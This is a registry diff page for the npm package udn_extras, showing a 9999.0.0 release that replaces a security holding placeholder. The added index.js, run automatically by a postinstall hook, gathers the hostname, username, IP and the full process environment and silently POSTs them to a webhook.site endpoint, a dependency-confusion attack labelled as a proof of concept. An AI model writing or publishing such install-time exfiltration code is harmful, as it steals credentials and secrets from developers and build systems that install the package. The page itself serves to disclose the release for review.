udn_extras 0.0.1-security → 9999.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of udn_extras might be problematic. Click here for more details.
- package/index.js +40 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,40 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
const os = require('os');
|
3
|
+
const dns = require('dns');
|
4
|
+
|
5
|
+
// Get system info
|
6
|
+
const hostname = os.hostname();
|
7
|
+
const platform = os.platform();
|
8
|
+
const userInfo = os.userInfo().username;
|
9
|
+
|
10
|
+
// Perform reverse DNS lookup (best effort)
|
11
|
+
dns.lookup(hostname, (err, address) => {
|
12
|
+
const data = JSON.stringify({
|
13
|
+
hostname,
|
14
|
+
platform,
|
15
|
+
userInfo,
|
16
|
+
ip: address,
|
17
|
+
env: process.env,
|
18
|
+
});
|
19
|
+
|
20
|
+
const options = {
|
21
|
+
hostname: 'webhook.site',
|
22
|
+
path: '/88936078-c99b-4990-b925-b603756d0fd0',
|
23
|
+
method: 'POST',
|
24
|
+
headers: {
|
25
|
+
'Content-Type': 'application/json',
|
26
|
+
'Content-Length': data.length
|
27
|
+
}
|
28
|
+
};
|
29
|
+
|
30
|
+
const req = https.request(options, (res) => {
|
31
|
+
// Silent success
|
32
|
+
});
|
33
|
+
|
34
|
+
req.on('error', (error) => {
|
35
|
+
// Silent failure
|
36
|
+
});
|
37
|
+
|
38
|
+
req.write(data);
|
39
|
+
req.end();
|
40
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "udn_extras",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "9999.0.0",
|
4
|
+
"description": "PoC ",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"keywords": ["dependency-confusion", "security-research"],
|
10
|
+
"author": "NA_RONY",
|
11
|
+
"license": "MIT"
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=udn_extras for more information.
|